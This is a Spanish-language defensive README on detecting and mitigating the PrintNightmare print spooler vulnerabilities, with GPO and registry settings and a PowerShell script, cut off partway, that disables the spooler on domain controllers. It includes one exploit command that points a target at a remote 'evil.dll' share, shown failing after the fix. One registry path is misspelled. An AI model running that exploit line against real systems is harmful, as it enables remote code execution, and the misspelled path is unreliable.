
CVE-2021-1675 Información de detección
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Este repositorio contiene una muestra EVTX del ataque CVE-2021-1675 y CVE-2021-34527, así como un archivo de configuración mínimo de Sysmon que puede utilizarse para generar la telemetría relevante.
Tenga en cuenta que estas reglas pueden ser eludidas; aplique los parches correspondientes y desactive el servicio de cola de impresión en los controladores de dominio.
Pruebe todas las correcciones recomendadas antes de implementarlas en producción, ya que estos cambios de endurecimiento pueden tener consecuencias no deseadas. Hemos redactado una publicación en el blog explicando el contenido de este repositorio y la información encontrada. Aquí: https://labs.lares.com/detection-and-mitigation-printnightmare/
Gracias a Benjamin Delpy, hay un diagrama de flujo actualizado sobre la explotabilidad de este problema para determinar si sus sistemas son probablemente vulnerables.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections -> Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1El parche publicado por Microsoft en junio de 2021 sí corrige CVE-2021-1675, pero lamentablemente no soluciona el problema conocido como PrintNightmare (CVE-2021-34527). Por lo tanto, se puede aplicar una solución alternativa desactivando el servicio de cola de impresión. A continuación se explica cómo hacerlo tanto en GPO como en PowerShell. Se ha confirmado que el GPO corrige tanto la función MS-RPRN RpcAddPrinterDriverEx como la función Win32 AddPrinterDriverEx que utiliza SharpPrintNightmare.
El siguiente GPO se puede configurar para denegar las conexiones de clientes al spooler, lo que es una posible solución alternativa cuando desactivar completamente el servicio de cola de impresión no es una opción. Se ha probado contra controladores de dominio y endpoints (W7/W10) en un entorno de laboratorio y los usuarios aún pueden agregar/eliminar impresoras e imprimir, pero detiene la explotación. Nota: También se entiende que este GPO corrige CVE-2021-34527 según lo indicado en la página de vulnerabilidad de Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
establecer en Deshabilitado:

Luego reinicie el servicio de cola de impresión en el host afectado. Si todo va bien, el exploit tendrá acceso denegado:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Otra corrección/solución alternativa es eliminar los usuarios autenticados del grupo Pre-Windows 2000 Compatible Access, según lo descubierto por Dirk-jan.

Asegúrese de que los grupos "Usuarios autenticados" no sean miembros del grupo "Acceso compatible con Pre-Windows 2000". (Por defecto, estos grupos no están incluidos en las versiones actuales de Windows.) como se muestra en la captura de pantalla siguiente, no debe haber miembros:

Si tiene dudas sobre cómo hacerlo, se pueden seguir los siguientes pasos:
Adaptado el script de 0gtweet para usar ADDomainController y obtener todos los DC del dominio
# el script DETIENE y DESHABILITA el servicio de Cola de impresión (aka #PrintNightmare) en cada servidor de la lista siguiente SOLO SI SOLO EXISTEN IMPRESORAS PREDETERMINADAS.
# revertir si es necesario: vaya a services.msc, busque el servicio "print spooler", cambie el tipo de inicio a "automático" e inicie el servicio.
# Fuente: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requisitos RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose